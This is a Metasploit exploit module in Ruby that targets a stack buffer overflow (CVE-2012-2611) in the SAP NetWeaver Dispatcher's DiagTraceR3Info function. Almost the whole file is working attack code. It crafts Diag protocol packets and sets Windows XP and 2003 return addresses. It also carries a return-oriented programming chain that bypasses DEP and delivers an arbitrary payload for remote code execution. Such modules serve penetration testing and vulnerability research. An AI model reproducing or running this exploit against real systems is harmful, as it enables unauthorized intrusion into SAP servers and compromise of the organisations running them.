SAP NetWeaver Dispatcher – DiagTraceR3Info Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the SAP NetWeaver Dispatcher service. The overflow occurs in the DiagTraceR3Info() function and allows a remote attacker to execute arbitrary code by supplying a special crafted Diag packet. The Dispatcher service is only vulnerable if the Developer Traces have been configured at levels 2 or 3. The module has been successfully tested on SAP Netweaver 7.0 EHP2 SP6 over Windows XP SP3 and Windows 2003 SP2 (DEP bypass). }, 'Author' => [ 'Martin Gallo', # Vulnerability discovery and PoC 'juan vazquez' # Metasploit module ], 'References' => [ [ 'OSVDB', '81759' ], [ 'CVE', '2012-2611' ], [ 'BID', '53424' ], [ 'EDB', '20705' ], [ 'URL', 'http://www.coresecurity.com/content/sap-netweaver-dispatcher-multiple-vulnerabilities'], [ 'URL', 'http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=Uncovering_SAP_vulnerabilities_reversing_and_breaking_the_Diag_protocol'] ], 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f', 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 4000, 'BadChars' => "\x00", 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'Platform' => 'win', 'Targets' => [ # disp+work.exe version 7200.70.18.23869 [ 'SAP Netweaver 7.0 EHP2 SP6 / Windows XP SP3', { 'Ret' => 0x5f7a # 0x005f007a # call ebx from disp+work.EXE } ], [ 'SAP Netweaver 7.0 EHP2 SP6 / Windows 2003 SP2', { 'Ret' => 0x77bde7f6 # {pivot 44} # ADD ESP,2C # RETN from msvcrt.dll } ] ], 'Privileged' => false, 'DefaultTarget' => 1, 'DisclosureDate' => 'May 8 2012')) register_options([Opt::RPORT(3200)], self.class) end def create_rop_chain() # ROP chains provided by Corelan.be # https://www.corelan.be/index.php/security/corelan-ropdb/#msvcrtdll_8211_v7037903959_Windows_2003_SP1_SP2 rop_gadgets = [ 0x77bb2563, # POP EAX # RETN 0x77ba1114, # <- *&VirtualProtect() 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 0x41414141, #junk 0x77bb0c86, # XCHG EAX,ESI # RETN 0x77bc9801, # POP EBP # RETN 0x77be2265, # ptr to 'push esp # ret' 0x77bb2563, # POP EAX # RETN 0x03C0A40F, 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) 0x77bb48d3, # POP EBX, RET 0x77bf21e0, # .data 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN 0x77bbfc02, # POP ECX # RETN 0x77bef001, # W pointer (lpOldProtect) (-> ecx) 0x77bd8c04, # POP EDI # RETN 0x77bd8c05, # ROP NOP (-> edi) 0x77bb2563, # POP EAX # RETN 0x03c0984f, 0x77bdd441, # SUB EAX, 03c0940f 0x77bb8285, # XCHG EAX,EDX # RETN 0x77bb2563, # POP EAX # RETN 0x90909090,#nop 0x77be6591, # PUSHAD # ADD AL,0EF # RETN ].pack("V*") return rop_gadgets end def exploit peer = "#{rhost}:#{rport}" connect # initialize diagheader = "\x00\x10\x00\x00\x00\x00\x00\x00" user_connect = "\x10\x04\x02\x00\x0c\x00\x00\x00\xc8\x00\x00\x04\x4c\x00\x00\x0b\xb8" support_data = "\x10\x04\x0b\x00\x20" support_data << "\xff\x7f\xfa\x0d\x78\xb7\x37\xde\xf6\x19\x6e\x93\x25\xbf\x15\x93" support_data << "\xef\x73\xfe\xeb\xdb\x51\xed\x01\x00\x00\x00\x00\x00\x00\x00\x00" dpheader = "\xff\xff\xff\xff\x0a\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff" dpheader << "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" dpheader << [diagheader.length + user_connect.length + support_data.length].pack("V") dpheader << "\x00\xff\xff\xff\xff\xff\xff\x20\x20\x20\x20\x20\x20\x20\x20\x20" dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" dpheader << "terminalXXXXXXX" dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x20\x20\x20\x20\x20" dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x00" dpheader << "\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x01\x00" dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00" pkt = [dpheader.length + diagheader.length + user_connect.length + support_data.length].pack("N") pkt << dpheader pkt << diagheader pkt << user_connect pkt << support_data print_status("#{peer} - Sending initialize packet to the SAP Dispatcher") sock.put(pkt) res = sock.get_once(-1) if not res print_error("#{peer} - The connection with the Dispatcher has not been initialized") return end # send message if target.name =~ /Windows XP SP3/ crash = make_nops(112) crash << "\xeb\x02" # jmp over call pointer crash << [target.ret].pack("v") crash << make_nops(10) * 200 crash << payload.encoded else # Windows 2003 crash = "C\x00" # Avoid "UNICODE" conversion when copying data to stack crash << rand_text(2) # padding crash << [0x77bd7d82].pack("V") * 55 # <== after stackpivoting esp points here # "ret" ROP nop from msvcrt crash << [0x77bdf0da].pack("V") # pop eax # ret from msvcrt crash << [target.ret].pack("V") # stackpivot crash << create_rop_chain crash << payload.encoded end print_status("#{peer} - Sending crafted message") message = "\x10\x06\x20" + [crash.length].pack("n") + crash diagheader = "\x00\x00\x00\x00\x00\x00\x00\x00" step = "\x10\x04\x26\x00\x04\x00\x00\x00\x01" eom = "\x0c" pkt = [diagheader.length + step.length + message.length + eom.length].pack("N") pkt << diagheader pkt << step pkt << message pkt << eom sock.put(pkt) disconnect end end |